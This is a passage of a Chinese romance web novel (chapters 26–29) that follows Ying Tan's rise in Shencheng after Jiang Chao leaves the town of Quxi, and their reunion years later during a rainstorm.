“嗯,”她笑了一下,答得随意,“车快到了。”
他没说话,就这样沉默下来。
江潮还有一个行李箱要搬,把已经搬下来的箱子放在靠近院门的路边,又转身回去。
行李箱的滚轮一阶一阶地磕在楼梯上,她小心翼翼地迈下一层阶梯,听见脚步声响起。
方才坐在摩托上抽烟的少年不知何时靠近,身上染着寒冽的霜意,嘴唇抿得平直,说:“我来。”
她还背着琴盒,一个人搬着行李箱下楼确实有些费劲。江潮调整了一下身位,想示意他抬起箱子另一头:“麻烦你……”
一句话还没来得及说完,他一个人一言不发地扛起箱子,转身便下了楼。
江潮双手空空,又眨了眨眼眸,跟着下了楼。
昨天她放在角落里的那只纸箱已经不见了,应潭没有提,她也没有主动去问,视线落在他的背影上,微微怔了一下。
“你的腿怎么了?”
他停在院外,把行李箱放下,语气淡淡:“小伤。”
江潮见惯了他这种轻描淡写的态度,有些无奈地摇了一下头,想起什么,弯身打开行李箱。
“上次说要给你几支好用的药膏,结果你转眼就不见了。”
她站起来,将药膏递给他,温和道:“这次刚好,你拿回去试试吧。”
应潭沉默不语,听见她又说,“祛疤膏要早些用,伤痕留太久了,就很难消掉了。”
雨后清晨,空气中蒙着层湿漉漉的雾。女孩摊开手心,瞳光莹润,唇角微弯,一张脸上看不出一点儿将要离开的不舍。
也对。
来曲溪的这几个月,对她而言,大概只是人生里最不起眼的一小段路。
她很快就要迈向接下来的旅程。
迈向属于她的,坦荡平稳、鲜花簇拥的光明大道。
应潭伸手,将几支药膏握在手心,一并想起了那个他转身离开的寒夜。
或许还是有几分不甘,想知道她对这个地方,对在这里认识的人,会不会有半分留念。
少年黑眸深深,定定地看着她,忽地开口。
他的眸光沉黑,语调却漫不经心,“会不会再回来?”
江潮似是愣了一下,思索片刻,只是摇摇头。
“怎么?”应潭偏开眼,嗓音因克制而变得喑哑,“玩得不开心?”
“不是,”她笑起来,不在意地答,“已经走过的旅途,没有必要再走一遍。”
那颗悬在崖上的心脏终于坠入了深渊的寒风里。
应潭安静着,最后却扯了扯唇角,寡淡道:“这样啊。”
他从兜里摸出烟盒,又点燃一根香烟,递入唇间。
或许是因为有一段时间没碰烟了,今早一根接一根地含着烟雾,破天荒觉得烟味呛人辛辣。
车辆轰鸣而至,喇叭声响起。
江潮往外看了一眼,“我朋友到了。”
应潭指间夹着烟,淡淡“嗯”了一声。
“我要走啦,”江潮回过头来,看着他,“你以后……”
她停了一停,笑了一下,说,“要好好生活。”
一句话说得绝情,脸上却带着如春风般温润的笑。
他脖子的线条没入陈旧棉服的衣领里,隐约能看见喉结微微滚了一滚。
“……江潮。”
许久未曾听到别人这样喊她,江潮微微一顿,转过头来。
薄薄的雾气弥漫,他舔了一下嘴唇,垂落在身侧的手指似乎蜷缩了一下。
想要做些什么,在她心底留下一点点痕迹,叫她不至于那么快将他忘记。
可他最终只是跨上摩托,在车上人下来之前,张了张嘴唇。
应潭垂下眼,一并敛去了眼底晦暗涌动、近乎难以压抑的墨泽。
他说:“一路顺风。”
风声在耳边肆虐而过。
他看着眼前的路,小道时常被居民楼笼在暗影里,有时能看见明亮的光,有时候则是一片黯淡。
街边有人喊了他一声。
声音传入耳廓,却难以被思绪解读。直到那人追上来,又喊了一声:“应潭!”
应潭骤然停车,偏头睨去。
“刚好看到你,”邓茗拎着袋包子,气喘吁吁地追上来,“你去哪儿?有时间吗?”
他慢慢回神,面色冷淡,刚想说“没有”,便听见邓茗喘平气,紧接着道:“我家那个租客,溱溱姐,你是不是认识啊?她给你留了东西。”
应潭身形忽地僵直,整个人静止几秒。
他慢慢开口,“……什么东西?”
“不知道,一个纸箱,我放在柜台下边了,没打开看。”
邓茗眼睛一转,落在他空荡荡的摩托后座,“你现在有时间吗?有时间就过去拿吧,顺便也带我一程……喂!”
少年像是没有听见她的后半句话,又或许是听见了却充耳不闻,拧油门疾驰而去,只留下一阵尾气。
邓茗眼睁睁地看着他的身影消失在街角,忍不住一跺脚:“这是什么低情商。”
旅馆大门没关,院中空空荡荡,她早已走了。
一楼公卫里好像有人,应潭没在意,大步走到柜台边。
底下地面上放着个纸箱。
他盯着纸箱看了片刻,上面贴着快递信息码,收件人是江潮。
一路匆忙赶回来,冲进旅馆时像是忘了腿疼。他的气息隐约有些不稳,单腿跪在地板上,用钥匙划开纸箱上的胶带。
“姐?”
一道男声突兀响起,邓斌从卫生间里出来,系着裤腰带:“你买早餐了没啊?”
胶带被划开,邓斌听见动静,走到柜台边:“你干嘛……”
“我草,”他吓了一跳,整个人往后一弹,“应潭?!”
上回打电话找应潭办事把邓斌气得够呛,虽然靠着他妈的嫁妆拿捏住他,但他心中一直窝着气,想着什么时候整应潭一把。
如今这人自己撞到他眼皮底下,不知道在他家旅馆偷偷摸摸地搞什么东西——
邓斌视线落在他手中的纸箱上,眼睛一瞪,“你他妈来我家偷上东西了?!”
应潭没有说话。
他的视线定在箱内,沉甸甸的一只纸箱,里面满满当当地装着书籍。
记忆在眼前一晃而过,在公园角落里见到她的那一天,女孩的目光落在他手上翻了卷儿的书本上,似是微微停了一停。
——你要好好生活。
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>他近乎能够想象到她留下这只纸箱时的温和神态。
这是她对他的期待吗?还是勉励?
少年一对黑眸里涌起风暴,掌心搭在纸箱边缘,不易察觉地握紧。
下一刻,另一双手横空探来,邓斌抢走箱子,骂骂咧咧:“老子的东西,你少给我乱碰。谁允许你拆开的?”
“没想到你这手还挺不干净。在我家住的时候,是不是也偷过东西啊?”
应潭倏然抬眸,眼底的震颤隐下,转瞬间凝为冷然戾气,“这是我的东西。”
“你的东西?”邓斌像是听到什么好笑的话,指一指箱内,“你一个初中毕业的混混,跟我说这是你的东西?”
那箱子死沉死沉,他扔在一边,拿出最上头一本书,随手翻开几页,忍不住感到一阵胃疼:“谁他妈给我买一堆课本教辅……”
男生力道重而随意,被翻开的那几页眨眼间便落了褶。
应潭眉眼近乎瞬间漫上一片阴戾,霍然起身。
应潭在社会上混迹已久,而邓斌只是一个如竹竿般瘦小、手无缚鸡之力的高中生,制服他轻而易举。
邓斌被他单手压在桌上,也慌了神,嘴里不干不净地骂他,说应潭来他家旅馆偷东西,等下他就报警叫警察来抓人。
应潭压着嗓音,森然道:“我再重复一遍,这是我的东西。”
邓斌仍在挣扎,又拿出他妈放在他家里的嫁妆威胁。
应潭舌尖探过牙关,松了手,近乎半点耐性也无,“你要是不相信,尽管给你姐打电话。”
邓斌挣脱,转身就往应潭腿上踹了一脚。对方闷哼一声,邓斌眼睛一扫,瞥见纸箱上收件人的名字。
江什么什么,确实跟他们邓家没关系。可邓斌被这人轻轻松松便压在桌上,实在是恼羞成怒,眼珠子一转,夺过刚才被应潭拿回去的一本书,手上一用力。
“撕拉——”
被撕毁的书页在空中晃悠,落了地。
邓斌把书本丢到一边,恶狠狠道:“就一堆破书,整得像是什么宝贝——”
他的话没能说完。
少年眉眼覆满阴森可怖的戾气,拽着他的衣领,近乎是将他提了起来,大力抵在墙边。
嗓音卡在喉咙里,邓斌终于开始感到慌乱。
应潭的神态实在太可怕,简直像是想要杀人,他呼吸不顺,脸憋得通红,忽然想起与这位表哥有关的、他曾嗤之以鼻的那些传闻。
“你松手、松手——”
应潭逼近,漆黑的眼睛里寒光毕现,眼尾血丝猩红。
在万平台球厅时见到过那个申城男人犹如黑/道般的行事风格,他无师自通地学会,指腹摁着人跳动的血管,力道不断加深。
邓斌双腿抖个不停,快要吓傻了。
门口脚步声响,邓茗惊叫一声,扔开小笼包冲进来:“你干什么?!松开他!”
应潭松了手,把人随手往旁侧一推。他转身回去,捡起地上的书页,抚平后夹进书里。
邓斌不敢再出声,缩在角落里,看着他的表情就像是遇见了什么洪水猛兽。而邓茗一脸茫然惊诧,不知所措地安抚受惊的弟弟。
应潭像是没听见他们在说话,拿起箱子。
跨出门槛的那一瞬间,他听见邓茗小声嘀咕,“……这家伙犯什么神经?溱溱姐怎么会给这种人留东西啊。”
应潭脚步顿住。
仅仅一顿,他什么都没说,再次抬步,头也不回地离开了。
27. 第 27 章
很多很多年之后,那一天的记忆,在应潭的眼里,就仿若是水面上的倒影。
一部分如同边缘泛开的水纹般扭曲模糊,另一部分则清晰到纤毫毕现。
烫伤的小腿又挨了一脚,皮肤大概已经溃烂。他不记得自己是怎样拖着腿回到出租屋,一路上的光景都在脑海里消失得无影无踪。
他在门口换鞋,开门进屋。出租间里的动静隔着薄如纸的隔断墙传出来,他在敞开的房门前站定。
一个中年男人站在床与墙壁之间的那一条窄窄过道里,弯腰伏在床边,从他的枕下摸出了一只信封。
应潭平时早上出门之后并不会这么早回家。
房东大概是没有料到他会突然出现,转过身来时看见他,惊吓到整个人往后面一弹,手中的信封也掉了出去。
红艳艳的钞票散了满地。
或许是因为心虚,又或许是应潭那时的表情冷到近乎结霜——房东僵在那里,嘴唇抖了半天,一句话都没能说出口。
应潭往前走了一步。
男人下意识伸出手,像是想要护住头。
可应潭只是站在那里,居高临下地看着他。
“滚出去。”
房东呆住,像是没想到这位冷沉着脸的租客并未发作,脸上的肉抖了一抖,连滚带爬地起身。
“——等等。”
离开那间窄小阴暗的房间,中年男人终于缓过神来,手搭上旁边的椅背,虚张声势地嚷嚷:“干、干什么?我跟你说,你可没有证据,我随时可以把你——”
应潭眉眼漠然,打断他,“有胶带么?”
室内重归寂静,他拿着一卷透明胶,关上了房门。
纸钞散在地上,散在床边,应潭没心思去捡,把纸箱放下,拿出那本被撕过的书。
他坐在床边,垂着薄薄的眼皮,将被撕成两半的书页拼在一起,反复衡量,贴上透明的胶带。
动作小心翼翼,就仿佛那并不是一张纸,而是一触即碎的玻璃。
彼时年少的应潭,自己大概也不清楚,那个身影究竟是什么时候被烙在了他的眼底,又是在什么时候一点一点地加深了痕迹。
自那之后,无数个日夜。
他身上的无数道伤疤都在渐渐淡去,深埋心底的那一道痕,却仿佛在随着时间而变得愈发清晰。
隐忍无言的每一分一秒。
应潭总会想起她。
江潮离开的第一年。
旧款手机彻底报废,他踏进那家曾经没能走进去的手机店,买了一只新的手机,下载了旧手机上没有的娱乐软件。
或是伤痕累累、或是满身疲倦,回到出租间的深夜,他倦怠无声地倚在床边,手指松松笼着那只手机。
屏幕上视频播放,进度条被他来回拉拽,反复跳到仅有她出现的画面。
后来,乐队在扬州宣告解散。一直关注的账号不再发布新动态,直至那年秋季。
她飞往国外读书,开始使用个人账号,时不时地会开启直播。有时候是唱唱歌,有时候则是随意地聊聊天。
应潭大多时候不会发评论,只是半阖着眼,听着她的声音。
江潮离开的第二年。
白鑫桃被接回了申城,坐在车里,长长的指甲点在车窗上。
“爸爸,”她与白老板说话,嗓音随性骄纵,“把他也带回去吧。”
这个从未踏足过的城市新鲜又繁华,触目所及高楼大厦直入云端。少年身着旧衣,像是个格格不入的乡巴佬。
白家的几个兄弟姐妹围观他,仿佛他是什么乡野间来的野人,出声取笑。
“我还以为是什么样的人物,值得鑫桃你从乡下巴巴地带回来。”
“小妹,你缺男人啊?要不我去会所里给你点几个吧,保证比他帅,还懂得伺候人,能把你整得舒舒服服的。”
白鑫桃翘着腿,坐在真皮沙发上,翻了个白眼:“什么男人?这是我的狗——啊,助理。”
她话音一转,语调懒洋洋的,轻笑道:“你们有什么不好处理的事情,交给他去办就行。”
他在那一年来到申城,她的家乡。尚未能够立足,便隐约窥见了白家之下阴暗幽深的那一潭深水。
夜晚变得更加难熬,他有时会睁着眼睛,辗转反复,失眠到天明。
有一次打开她的直播,女孩熟悉的声音从手机里传来,带着明显的苦恼。
“我不知道要选什么专业,”她纠结不已,轻轻叹气,“真的想了好久。”
他身处的世界光怪陆离,群魔乱舞。
而她掌心托着腮,像是那年他在咖啡厅里看见她一样,眼眸同从前那般澄澈。
应潭垂着眼皮,漆黑的瞳孔里倒映着屏幕浅淡的光,嘴角忽然牵动了一下,微微笑了。
江潮离开的第三年。
她在秋季升上了大三,账号上时不时地会发表一些大学生活的零散碎片,似乎过得自在又快乐。
而隐忍已久的野犬也终于露出了尖锐的獠牙。
他想要翻身,想要噬主,生活变得危机四伏。
白家信任他,因为他是他们从乡野中亲自带回申城的外来人,背景干干净净。
可他们也不信任他,因为他是无父无母的孤儿,孑然一身,没有任何可以拿捏的软肋。
得到捷讯的那一天,他与白老板的死敌坐在酒楼奢华的包间里,听见对面坐着的人畅快地笑起来。
“白老贼啊白老贼,你也终于沦落到了这个下场……小子,你这手里应外合的手段还真是漂亮。”
“初生牛犊不怕虎啊,你今年也有二十几了吧?开过荤没?今晚带你去仙霓,好好庆祝庆祝。”
应潭坐得笔直,摇了摇头。对面男人睨过来,方才还一脸醉意地大笑着,此刻便冷下了脸。
他将对方的神态变化尽收眼底,抚上脖颈处经久未消的烟疤,垂着眼解释:“今晚预约了一位大名鼎鼎的纹身师,如果毁约,只怕要排到明年年底。”
男人循着他的手望来,冷下的神色松缓起来,又状作惋惜:“那是姓白的小妞儿干的好事吧?”
“那女人就是个天生的疯婆娘,如今你也算是大仇得报了,可算畅快了吧。”
应潭敛着眉眼,眼前掠过白鑫桃难以置信的面容。
她跪在地上,化着浓妆的脸狼狈不堪,声音尖锐凄厉,骂他是养不熟的白眼狼,长着狼心狗肺。
“是啊,”他那时睨着她,似笑非笑,“你不是说过,我就是条野狗
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吗?”
桌对面男人视线满是试探,他心底冷沉如冰,近乎无波无澜,却勾起唇角,举着酒杯站起身。
“这还要多亏大哥您出手相助——我敬您一杯。”
江潮离开的第四年。
那年应潭二十二岁,偿还了所有债务,从前避他如洪水猛兽的亲戚攀附上来,问他是不是找到了什么赚钱的法子。
他在申城堪堪站稳了脚跟。
他凿毁了一艘船,搭上了另外一艘,被人尊敬地称为“应经理”,披上了西装革履的外壳,看着往日对他不屑一顾的人在他面前讨好奉承。
弥漫在前方的黑浓雾气仍未散去,脚下的道路岌岌可危。可他觉得,如今的他,已经能够窥见当年野心的全貌。
所以在得知她家中状况急转直下,暂时休学回国时,在旁人眼中冷锐沉稳的男人,终究按捺不住心底起伏的情绪。
他独自驱车,等在她的小区外。
高档的别墅区,门口喷泉涌动。白天到天黑,应潭等待许久,却不觉得乏味,一双如墨般黑的眼睛凝视着窗外。
她的身影出现了。
他喉结微微滚动,骨节分明的手搭在车门上,却又不由自主地先瞥了一眼后视镜。
玻璃镜中映出他自己的面容,十八岁的少年气早已褪去,如刀锋般伤人的冷然戾意被隐藏在成年人的体面之下。
他的变化极大,大到再次站到她的身边,第一眼望去,大概没有人会觉得突兀。
或许是察觉到自己的紧张,应潭扯了扯唇角,哑然笑了笑,伸手理了理衣领。
推开车门,将要下车的那一刹,他恍若察觉到什么,抬起眼,往右侧窗外望去。
她的身边多了一个人。
一个他再熟悉不过的男人。
“溱溱,”他听到那个男人对她说话,语气温柔,“我们从小一起长大,在一起这么多年,大大小小的事情,我都陪着你度过了。”
“不要觉得是在给我添麻烦——你的事情,怎么能算是麻烦?”
她垂着眼睫,似乎说了什么,听不清晰。
应潭只看见那个男人沉默片刻,忽然伸手,握住了她的指尖。
他说:“给我一个机会,我会照顾好你。”
城市的黑夜没有半颗星。
应潭动了一下。
短暂失去的感官仿佛突然回归了身体,原来他的腿因久坐而发麻,脖颈肩颈也酸疼不堪。
街边路灯亮起,光影勾勒着他的轮廓,抿得平直的唇角、未曾眨动的黑眸、脸边稍显僵硬的线条。
应潭看着窗外,女孩似乎轻轻颤了一颤,抿起嘴唇,很浅很浅地笑了一下。
他没能够、也不想再听下去。
车门被关上,油门被踩到了底。引擎声如同忽然爆发的咆哮,引得路边二人侧目看来。
她或许隔着车窗看到了他,又或许没有。
而即便看见了他,她大概也不会认出他。
当年那个穷小子,就像路边行人,擦肩而过的过客,是不是早就被她忘在了脑后?
应潭没有转过头。
高悬的月洒下浅光,冷薄银晖镀着他毫无表情的面容,他看着前方的路,直直地驶入夜色里。
28. 第 28 章
夜色深沉。
暴雨倾斜,雨水在车窗上勾勒出连绵蜿蜒的湿痕,叫她看不清窗外景象。
司机转身递来毛巾,江潮回过神来,伸手接过。
她道了声谢,嗓音很轻,仿佛随时随刻都有可能破碎,消失在空气里。
后座车门再度打开,江潮下意识抬眼看去,应激般地一抖。
她浑身上下都湿了个彻底,还在淌水的黑发紧贴着如纸般的苍白脸颊,一刹那视觉的冲击感近乎惊人。
就像是个脆弱而易碎的精致人偶。
倾身欲要坐进的男人动作一顿,撑着车门的手掌悄无声息地突起青筋。
他关上门,绕到副驾,后视镜里映出的眉眼冷淡敛着,沉声吩咐:“去云麓。”
司机下意识往街对面的餐厅看了看,迟疑道:“应先生,与贺总的饭局……”
副驾上男人正抬手调整座椅,闻言瞥来一眼。司机停顿一下,连忙机敏地改口:“我为您推掉。”
迈巴赫启动时平稳从容,近乎没有声响。
江潮手指攥着毛巾一角,看着车外的申城街景,迟半拍地喊了一声“应潭”。
他的脸向左偏过一点弧度,高耸眉骨与挺拔鼻梁连成干脆利落的线条,瞳光被掩在阴影里。
江潮尚未能够彻底平静,往日阴影如同噬人的野兽般张牙舞爪地扑来,一颗心脏宛若浸泡在了极地冰寒的冷泉里。
寒意浸骨,思绪也连带着被冻结,纷乱无章。
她方才经历了阵阵耳鸣,车内的对话都听不清晰,咬着唇内的软肉,想让自己清醒,“谢谢你帮忙。”
“……不用开太远,可以麻烦你把我放到前面的酒店吗?”
明明才刚刚受到过惊吓,此刻却竭力保持镇静,声音轻而柔和,不自觉地透着许久未见的疏离客气。
酒店与云麓方向左右相反,恰逢红灯,司机停下车,不知该不该变道,觑着老板的脸色。
先前破天荒出现在他面容上的慌乱像是司机的一场幻觉,男人沉默几秒,眉眼重归冷淡:“不可以。”
指尖将毛巾攥得凹陷,江潮揉了一下耳朵,不确定自己是否听清,问:“……什么?”
他说:“不顺路。”
车厢内静了片刻,司机一头雾水,心中暗暗腹诽自家老板的不近人情。
不顺路,那之前怎么忽然一言不发地下车,冒着如瀑般的暴雨,急匆匆地把人家姑娘接上车来?
司机心中犯着琢磨,下一秒便听见男人开口,“我在附近有一家店。”
应潭抬眼,瞥向后视镜。
女孩坐在那里,茫然地睁着眼,一双漂亮的桃花眼有些失了焦距,眼尾还隐隐发红。
他收回目光,抬手松了松领口,“先带你过去,换身衣服。”
江潮轻轻“哦”了一声。
安静半晌,她又一次说:“麻烦你了,谢谢。”
路灯被抛在身后,光与影如流水般反复。
应潭没有回应,轮廓半明半暗,唇线渐渐抿得平直,添增一份冷峻。
青石假山流水淙淙,轿车停在会所外独留的车位。
司机率先下车,先拐过去开了副驾的门。不远处门童认出这辆车,亦然脚步匆匆地赶来,刚要为后座贵客撑伞,便见旁侧男人瞥来一眼。
门童动作一顿,识眼色地退后,将雨伞递出。
江潮下了车,踩进水洼里。她的风衣与包都落在餐厅,湿透的衣服紧贴着身体,勾勒出玲珑有致的曲线。
黑伞罩着她的头顶,肩膀忽地微微一沉。江潮低眸,看见西装外套的衣袖顺着她的肩头垂落。
应潭的衣服也沾了雨水,只是西服外套宽大,多多少少能够遮掩身形。成熟男人陌生的气息笼罩着她,她有些不适应地开口,“不用……”
他打断,“你的东西在哪?”
“……落在了餐厅里。”
应潭“嗯”了一声,偏过头去,跟司机说了几句话。
司机应声,转身回到车内。男人低沉的嗓音随之传来,说:“走。”
进了云麓,门童接过雨伞,服务生出来相迎。
江潮纤细的指节松松扯着西服一角,听见他吩咐一边的女服务生:“带她去四楼。让人准备两套衣服。”
她看他一眼。
白衬衫被淋湿后近乎半透明,宽肩窄腰与肌肉流畅的线条都一览无余。
江潮无意间撞见,下意识错开视线,眼角余光见他转身,低声对她说:“上去洗个热水澡。”
“……好。”她说,“谢谢。”
他的目光似乎钉在了她的身上,没有移开。江潮察觉到了,抬起眼,却见他长眉锁紧,眼里不知为何浮现一抹难以言描的冷色。
服务生快步走来,指引她前往四楼。他偏开眼,没再说什么。
江潮被带到四楼的一间套房。
客厅装潢简约冷淡,与样板间无差,漫着股冷清气息。
她走进浴室,墙边放置架上白色浴巾叠成了整齐的豆腐块,只有水池边遗留的一瓶须后水透露出这里住过人。
太阳穴隐隐作痛,江潮无暇多想,走进淋浴间。
水声哗啦落下,热腾腾的雾气一并弥漫。冰冷的身体逐渐回温,骨子里的寒意却难以被驱逐。
终于处在独属于她一个人的安静空间里,紧绷的心理防线、强撑着的伪装,一切都溃败了。
这个澡洗了许久。
中途服务生在门外放下干净衣物,敲敲门示意。江潮有些恍惚地蹲在淋浴间角落,没有回应。
又过了几分钟,门再一次被敲响,服务生不放心地问:“江小姐?您还好吗?”
她掌心覆在眼前,深呼吸数次,答了一声“我没事”。
关掉花洒的时候,江潮有些发晕,但神色已然如常。
她将门开启一条缝隙,取来浴巾与干净的衣服。毛衣、长裙,都是与她先前着装相似的款式,只是内衣裤稍稍有些不太合身。
江潮/吹干头发,抱着脏衣踏出浴室。
服务生早已离开,周围安安静静。她走出几步,听见套房门口有说话声响。
关门声紧接着响起,江潮脚步微顿。
应潭转身进来,身形比数年前更加高大挺拔,撞见她出来,视线无声地扫过她微微红肿的眼。
他收回目光,手里端着只碗,走到中岛台边放下,平静道:“过来喝了。”
那是一碗驱寒的姜汤。
江潮微微怔住,在片刻安静后扫视一圈。
沙发上放着她的大衣与包,她把叠好的脏衣放在沙发腿边,慢慢踱步过去,捧起姜汤。
应潭没走,也始终没说话,倚着墙靠在那儿,手闲闲插在西裤口袋里。
一碗汤慢慢喝干净了,江潮把碗放下。一声细微脆响,将古怪的沉默一并打破。
她在无声的发泄后重拾冷静与理智,转头看向他,弯起无奈的笑,“好多年没见,没想到一见面就这么狼狈。”
应潭侧过眼来,视
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线凝在她唇边笑意。
他把玩一只打火机,没有回应她礼貌又体面的寒暄,淡淡道:“卫生间里有洗衣机。”
“……”
男人的声音带着股冷然的压迫感,“怎么不放进去洗干净?”
江潮又一次发怔。
太多年没见,他确实变得很陌生。云麓会所原名仙霓,在申城的私人会所之中赫赫有名,她早就听说这里是因为换主才更了名,却没想到接手的人是他。
当年在小镇里生活的少年,是怎么一步一步走到了这里?除此之外,如今的他,竟然让她有几分……无从招架。
几秒沉默,她坦然道:“太麻烦了,我不想继续叨扰你。”
他说:“不算叨扰。”
空气再次寂静下来。
火机被翻了盖,“咔嗒”一声轻响,火苗亮起,又在短暂跳跃后熄灭。
男人直起身,走近几步,把打火机随意放在中岛台上。
他身上的衣服还没有换,衬衫半干不干地贴着腰身,修长西裤裹着肌肉紧实的腿,靠近时仿若挟着雨水的冷冽气息。
“你想去住酒店?”
江潮抬眼看他。
无论表面上有多么平静,今夜她不想回家。她不知道应潭为什么这么问,嘴唇轻抿,只简洁地“嗯”了一声。
应潭“哦”了一声,手肘撑着中岛台边缘,“我的司机不加班。”
“……”
“下这么大的雨,”他偏头,睨了眼敞着窗帘的落地窗,语调慢条斯理:“你也打不到车。”
江潮循着他的目光往外看。
大雨确实没有减弱的趋势,而云麓是私人会员制会所,离市中心有一段距离。
在她犹豫的短暂几秒内,应潭已然再次开口。
“把衣服拿去洗。”他抬起下颌,冲着微敞的主卧房门扬了扬,淡声:“借你一个晚上。”
江潮眼眸微眨。
当年在曲溪的时候,她与他也算是朋友。如今她落入难处,他大概也能看出几分,于是才会主动相助。
只是这样对他而言会不会有些不太方便,她手指搭在衣裙上,微顿,“这里是你的休息室……”
应潭睨来,薄薄的眼皮压出褶,“嫌弃?”
“上次我在这里留宿,是半年之前。这里的床单每个月都会更换一次,天天有人打扫。”
“当然,你要是不放心,”他嗤笑一声,“我可以让人再来换一次床具。”
“……我的意思是,”江潮不得不解释,“我在这里过夜,你该去哪里?”
应潭微顿,黑眸意味难言地凝视她。
近乎逼人的冷锐被敛下,他问,“你在关心我?”
“……”
在她开口以前,男人又偏开视线,淡淡道:“这里是我的地盘,我还不至于露宿街头。”
江潮没再迟疑,点头,唇边又撑起了笑,“好。太谢谢你了,应潭。”
应潭却又一次沉默下来。
室内光线昏暗,男人高耸眉骨压着狭长黑眸。他长眉锁紧,撑着中岛台,稍稍伏低了身,束进西裤的衬衣随着动作绷起一道褶皱。
“别再跟我说谢谢。”
压迫感一并袭来,江潮下意识向后靠了靠,身体贴上了冷硬的冰箱,叫她不自觉地微微一颤。
她看见他扯扯唇角,漆黑的眼像是那年深夜曲溪无声涌动着的海。
“我帮你,”他说,嗓音如深海般冷然,“不是为了听你道谢。”
29. 第 29 章
回国的第一个夜晚,一切就像是理不清也斩不断的乱麻。
套房卧室的风格与客厅相同,冷色的墙面与地板,家具简约到极致,仿若酒店的单人间。
深黑窗帘半敞着,清淡月光透过窗倾落。江潮打开灯,视线落在床头柜上。
那里放着一套睡衣。
淡粉色、蕾丝边,不难看出是女生的款式。
整间卧室中没有任何多余的装饰,那套睡衣便显得分外醒目。她目光停滞,有些许迟疑。
江潮想起先前应潭对服务生说话,吩咐对方准备两套衣物,而他并没有换掉身上的衣服。可她紧接着又想到,他并不能确定她是否会在这里留宿。
——这或许是他身边女伴所留。
她没有碰,在床沿坐下。
手机堆积了许多未回复的消息。
江潮没有精神一一应对,粗略扫了一眼,母亲打过电话,又发来信息。
妈妈:行李已经送到了。
妈妈:小溱怎么还没有回家?[疑惑]
她实在疲累,心底像是有什么在飞快塌陷,不想去深思辨别,只想要藏在无人的角落里,彻彻底底地陷入沉眠。
刚才在外面撑作平静,耗尽了最后一缕力气。江潮找了个粗劣的借口,将手机关机、丢开。
一双眼眸在浴室中无声痛哭过后酸涩肿胀,她却不闭上眼,抱着枕头,怔怔地看着窗外月色。
最后是怎么睡着的,江潮已经记不清了。
梦境光怪陆离,她仿佛遭了梦魇,被噩梦缠绕。
十六岁的那个惊怖夜晚再度重现,梦境紧接着变幻,餐厅前台的服务员拦住了她,与江文生一起将她拖回包间。
她想要求救,可喉咙却干涩到像是灌了沙,什么声音都发不出来。而下一个瞬间,包间的门被踢得粉碎,有人闯进来,面容模糊不清。
“跟我来,”他冲着她喊,嗓音是似曾相识的低沉,“我会帮你。”
她抬起头,缩在角落,脸上泪水涟涟,茫然地想,谁能帮得了她?
或许是因为受到的刺激过重,又或者是身体在倒时差,江潮猛然惊醒时,艳阳已然高悬于空。
脑袋仿佛注了铅,江潮揉了揉额角,翻身下了床。
没走几步,她便感到一阵晕眩。
江潮的体质本就一般,一下飞机便应酬喝酒,又在暴雨里淋了半晌,积累的重重不适终于爆发,体温烫得吓人。
冰凉的水扑在脸上,镜中女孩发丝稍乱,双眸红肿,穿着过夜的毛衣微皱。
狼狈难掩。
浸了冷水的毛巾搭在额头,待难受稍稍缓解,她轻轻吸了口气,走出洗手间,整理好自己的东西。
有服务生在外等候,说是受了应先生的嘱咐,要领她去用餐。
江潮没有吃东西的胃口,但在这里借宿了一夜,总该跟主人家道个谢……
她思绪微顿,又难免想起昨夜,他冷冰冰的那一句“不要再对我说谢谢”。
“江小姐,餐厅在这边,请跟我来。”
她回过神来,摇了摇头,“我不吃了。应潭……应先生在哪里?”
这位江小姐一大早从应先生的休息室里走出来,二人关系一看便不一般。
工作人员没有犹豫,回答:“在展览馆,您要去见应先生吗?我带您过去。”
申城私人会所众多,云麓以结合了艺术与娱乐所闻名,整体采用的是复古摩登风格。
长廊两侧的壁画与装饰错落有致,与四楼冷淡到极致的套间宛若天差地别。服务生领她到展览馆入口,躬身退开。
有工作人员进进出出,似是在更换墙上画作。
江潮往里看去,不由自主地恍惚一刹。
应潭站在展览馆一角,背对着她。他换了一件深黑衬衣,更显宽肩窄腰、身形高大挺拔,身侧还跟着个助理模样的男生。
她难免想起从前,少年贫穷落魄,为生计四处奔波,却吊儿郎当地对她说,他总有一日会翻身、会来申城。
他也真的做到了。
在充斥着暴风与烈雨的夜晚,踏过交叠的重重水帘,那样突然地、不可思议地出现在了她的面前。
有人从她身侧经过,江潮抽回思绪,抬步踏入展览馆。
没走出几步,男人若有所察地偏了偏脸,视线准确地落在她的身上。
他看着她走近,眼里似乎泛起一刹波澜,又很快消失不见,低低道,“醒了?”
一夜过去,两人神态多多少少都有了几分变化。他收敛眼底暗涌,而她也更加沉静。
只是之中交织的气场在旁人眼中仍旧特别,那位助理愣了一下,视线在他们之间来回一转,识趣地退开几步。
江潮鲜少有一觉睡到日上三竿的时候,微微赧然。她点头,视线落在面前墙壁上的画作。
他对着这幅画站了许久,她撑起唇角,想要破冰:“新生代艺术家松林的作品。你喜欢她的画吗?她的风格很独特。”
应潭单手插在西裤口袋里,垂眼看着她面容上礼节性的微笑,平淡“哦”了一声,“我不喜欢。”
江潮神色一顿。
男人嗓音沉稳,反问:“你觉得我会懂艺术?”
这句话仿佛带回了从前的影子,江潮微怔,笑了一下,“这么多年没见,说不准你悄悄进修了美术学。”
应潭扯了一下唇角,似笑非笑,看着她,“我不在没有意义的事情上浪费时间。”
他说得平静,却又好像意有所指。可不待江潮来得及察觉出几分异样,应潭又一次开口:“昨天是怎么回事?”
江潮以为他不会问。
当初年少,她在母亲眼前哭泣过,对着朋友倾诉过,做过许多不理智的事,最后逃离了家庭。
十六岁到二十五岁,时光教会她成长,也教会她如何塑造更加坚硬的外壳。
她别开眼,视线落在眼前那幅荒诞的油画上,轻描淡写地以“家里的一些矛盾”带过。
“昨天还好有你,”江潮转开话题,弯起眼,“等你有时间,我请你吃顿饭吧?”
应潭转过身来,正面对着她。
他的五官在展览馆明亮的灯光下显得分外清晰,浓眉尾处一道淡疤,眼睛狭长,内眼角比年少时更深,侵略感伴
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着成熟硬朗的轮廓扑面而来。
他视线凝在她的眉眼,说:“我这周末就有时间。”
江潮眼睫轻眨,点头答应。她视线下落,正想要询问他的偏好,忽地定在他的脖颈右侧。
那儿有一处刺青,像是礁石与翻涌的水浪,始自项颈中部,一路没入黑衬衣笔挺的衣领里。
应潭的视线紧跟着她的眸光,探手抚了抚脖颈,掌心根部搭在喉结处,“怎么?”
“……没有。只是有些意外,”江潮收回视线,“在申城纹的吗?很特别。”
应潭“嗯”了一声,淡淡道:“我这样的混混,在身上纹点什么,不足为奇。”
